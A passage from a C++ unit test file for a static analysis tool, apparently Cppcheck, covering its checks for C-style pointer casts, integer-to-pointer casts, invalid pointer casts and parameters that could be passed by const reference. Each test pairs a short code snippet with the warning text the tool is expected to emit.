ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) ( new Base() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) new Base();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) ( new Derived() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new Derived();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(const B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3630\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)7) {}\\n\" // <- intToPointerCast\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0x7000) {}\\n\" // <- it's common in embedded code to cast address\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)var) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5560\n checkOldStylePointerCast(\"class C;\\n\"\n \"\\n\"\n \"class B\\n\"\n \"{ virtual G* createGui(S*, C*) const = 0; };\\n\"\n \"\\n\"\n \"class MS : public M\\n\"\n \"{ virtual void addController(C*) override {} };\", Standards::CPP03);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6164\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void testCC() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back((Base*)new Derived);\\n\"\n \"}\");\n // FIXME write a dangerousTypeCast warning instead\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #7709\n checkOldStylePointerCast(\"typedef struct S S;\\n\"\n \"typedef struct S SS;\\n\"\n \"typedef class C C;\\n\"\n \"typedef long LONG;\\n\"\n \"typedef long* LONGP;\\n\"\n \"struct T {};\\n\"\n \"typedef struct T TT;\\n\"\n \"typedef struct T2 {} TT2;\\n\"\n \"void f(int* i) {\\n\"\n \" S* s = (S*)i;\\n\"\n \" SS* ss = (SS*)i;\\n\"\n \" struct S2* s2 = (struct S2*)i;\\n\"\n \" C* c = (C*)i;\\n\"\n \" class C2* c2 = (class C2*)i;\\n\"\n \" long* l = (long*)i;\\n\"\n \" LONG* l2 = (LONG*)i;\\n\"\n \" LONGP l3 = (LONGP)i;\\n\"\n \" TT* tt = (TT*)i;\\n\"\n \" TT2* tt2 = (TT2*)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:11:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:12:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:13:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:14:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:15:15]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:16:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:17:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:18:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:19:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #8649\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uintptr_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\",\n errout_str());\n\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uint8_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n // TODO: these conversions are dangerous, but it's a different issue not covered by cstyleCast. A separate checker can be added which is executed for both C and C++ code.\n // clang says: 1.cpp:5:18: warning: cast to 'unsigned char *' from smaller integer type 'uint8_t' (aka 'unsigned char') [-Wint-to-pointer-cast]\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #10823\n checkOldStylePointerCast(\"void f(void* p) {\\n\"\n \" auto h = reinterpret_cast(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5210\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(Base** b1, Base*** b2) {\\n\"\n \" Derived** p1 = (Derived**)b1;\\n\"\n \" Derived*** p2 = (Derived***)b2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:5:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #12446\n checkOldStylePointerCast(\"namespace N { struct S {}; }\\n\"\n \"union U {\\n\"\n \" int i;\\n\"\n \" char c[4];\\n\"\n \"};\\n\"\n \"void f(void* p) {\\n\"\n \" auto ps = (N::S*)p;\\n\"\n \" auto pu = (union U*)p;\\n\"\n \" auto pv = (std::vector*)(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:8:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:9:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #12447\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(const Base& base) {\\n\"\n \" d = (const Derived&)base;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n // #11430\n checkOldStylePointerCast(\"struct B {\\n\"\n \" float* data() const;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" bool f(float* v);\\n\"\n \"}\\n\"\n \"bool g(B& b) {\\n\"\n \" using float_ptr = float*;\\n\"\n \" return N::f(float_ptr(b.data()));\\n\" // <- the cast is safe\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:17]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n }\n\n#define checkIntToPointerCast(...) checkIntToPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkIntToPointerCast_(const char* file, int line, const char (&code)[size]) {\n\n const Settings settings = settingsBuilder().severity(Severity::portability).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningIntToPointerCast();\n }\n\n void intToPointerCast() {\n // #3630\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"void* ptr = (void*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0x7000;\"); // <- it's common in embedded code to cast address\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"struct S { int i; };\\n\" // #13886, don't crash\n \"int f() { return sizeof(((struct S*)0)->i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInvalidPointerCast(...) checkInvalidPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInvalidPointerCast_(const char* file, int line, const char (&code)[size], bool portability = true, bool inconclusive = false) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability, portability).certainty(Certainty::inconclusive, inconclusive).build();\n settings.platform.defaultSign = 's';\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizer, &settings, this);\n checkOtherCpp.invalidPointerCast();\n }\n\n\n void invalidPointerCast() {\n checkInvalidPointerCast(\"void test() {\\n\"\n \" float *f = new float[10];\\n\"\n \" delete [] (double*)f;\\n\"\n \" delete [] (long double const*)(new float[10]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (portability) Casting between float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:15]: (portability) Casting between float * and const long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(const float* f) {\\n\"\n \" double *d = (double*)f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (portability) Casting between const float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(double* d1) {\\n\"\n \" long double *ld = (long double*)d1;\\n\"\n \" double *d2 = (double*)ld;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Casting between double * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:18]: (portability) Casting between long double * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"char* test(int* i) {\\n\"\n \" long double *d = (long double*)(i);\\n\"\n \" double *d = (double*)(i);\\n\"\n \" float *f = reinterpret_cast(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (portability) Casting between signed int * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:17]: (portability) Casting between signed int * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:16]: (portability) Casting between signed int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between unsigned int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"float* test(double& d) {\\n\"\n \" return (float*)&d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between double * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, true); // #3639\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability, inconclusive) Casting from float * to signed char * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n\n checkInvalidPointerCast(\"long long* test(float* f) {\\n\"\n \" return (long long*)f;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"long long* test(float* f, char* c) {\\n\"\n \" foo((long long*)f);\\n\"\n \" return reinterpret_cast(c);\\n\"\n \"}\", true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (portability) Casting from float * to signed long long * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"Q_DECLARE_METATYPE(int*)\"); // #4135 - don't crash\n }\n\n\n void passedByValue() {\n check(\"void f(const std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::unique_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::shared_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::function ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"void f(const std::pair x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::pair x) {}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n check(\"void f(const std::string::size_type x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo;\\nvoid f(const Foo foo) {}\"); // Unknown class\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance, inconclusive) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::vector v; };\\nvoid f(const Foo foo) {}\"); // Large class (STL member)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { int i; };\\nvoid f(const Foo foo) {}\"); // Small class\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { int i[6]; };\\nvoid f(const Foo foo) {}\"); // Large class (array)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::string* s; };\\nvoid f(const Foo foo) {}\"); // Small class (pointer)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { static std::string s; };\\nvoid f(const Foo foo) {}\"); // Small class (static member)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X { std::string s; }; class Foo : X { };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X { std::string s; }; class Foo { X x; };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // The idiomatic way of passing a std::string_view is by value\n check(\"void f(const std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string_view &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:31]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector::size_type s) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:48]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::streamoff pos) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::initializer_list i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5824\n check(\"void log(const std::string& file, int line, const std::string& function, const std::string str, ...) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5534\n check(\"struct float3 { };\\n\"\n \"typedef float3 vec;\\n\"\n \"class Plane {\\n\"\n \" vec Refract(vec &vec) const;\\n\"\n \" bool IntersectLinePlane(const vec &planeNormal);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(const std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:41]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"enum X;\\n\"\n \"void foo(X x1){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"void foo(X x2){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"enum X;\"\n \"void foo(X x3){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X;\\n\"\n \"enum X { a, b, c };\"\n \"void foo(X x4){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"union U {\\n\"\n \" char* pc;\\n\"\n \" short* ps;\\n\"\n \" int* pi;\\n\"\n \"};\\n\"\n \"void f(U u) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { char A[8][8]; };\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"union U {\\n\" // don't crash\n \" int a;\\n\"\n \" decltype(nullptr) b;\\n\"\n \"};\\n\"\n \"int* f(U u) { return u.b; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int f(std::string s) = 0; };\\n\" // #11432\n \"struct D1 : B {\\n\"\n \" int f(std::string s) override { s += 'a'; return s.size(); }\\n\"\n \"}\\n\"\n \"struct D2 : B {\\n\"\n \" int f(std::string s) override { return s.size(); }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x(int);\\n\"\n \"void f(std::vector v, int& j) {\\n\"\n \" for (int i : v)\\n\"\n \" j = i;\\n\"\n \"}\\n\"\n \"void fn(std::vector v) {\\n\"\n \" for (int& i : v)\\n\"\n \" i = x(i);\\n\"\n \"}\\n\"\n \"void g(std::vector v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i];\\n\"\n \"}\\n\"\n \"void gn(std::vector v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i] = x(i);\\n\"\n \"}\\n\"\n \"void h(std::vector> v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i][0];\\n\"\n \"}\\n\"\n \"void hn(std::vector> v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i][0] = x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:10:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:18:38]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11995\n \" explicit S(std::string s) noexcept;\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"S::S(std::string s) noexcept : m(std::move(s)) {}\\n\"\n \"struct T {\\n\"\n \" explicit S(std::string s) noexcept(true);\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"T::T(std::string s) noexcept(true) : m(std::move(s)) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12086\n \" void g(int);\\n\"\n \"}\\n\"\n \"void f(std::vector v) {\\n\"\n \" N::g(v[0]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string& s, std::string t) {\\n\" // #12083\n \" const std::string& v = !s.empty() ? s : t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (performance) Function parameter 't' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings settings0 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(\"struct S {\\n\" // #12138\n \" union {\\n\"\n \" int a = 0;\\n\"\n \" int x;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int b = 0;\\n\"\n \" int y;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int c = 0;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(S s) {\\n\"\n \" if (s.x > s.y) {}\\n\"\n \"}\\n\", /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings0);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::list l; };\\n\" // #12147\n \"class C { public: std::list l; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.l.empty();\\n\"\n \"}\\n\"\n \"bool f(C c) {\\n\"\n \" return c.l.empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:6:10]: (performance) Function parameter 'c' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S { std::list a[1][1]; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.a[0][0].empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" enum class E : std::uint8_t { E0 };\\n\"\n \" static void f(S::E e) {\\n\"\n \" if (e == S::E::E0) {}\\n\"\n \" }\\n\"\n \" char a[20];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v[2]);\\n\" // #13052\n \"void g(const std::vector v[2]);\\n\"\n \"void g(const std::vector v[2]) {}\\n\"\n \"int h(const std::array, 2> a) { return a[0][0]; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (performance) Function parameter 'a' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::array a[]) {}\\n\"); // #13524\n ASSERT_EQUALS(\"\", errout_str());\n\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using ui64 = unsigned __int64;\\n\"\n \"ui64 Test(ui64 one, ui64 two) { return one + two; }\\n\",\n /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_nonConst() {\n check(\"void f(std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" return str + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cout << str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cin >> str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:18]: (style) Variable 's2' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" const std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" str = 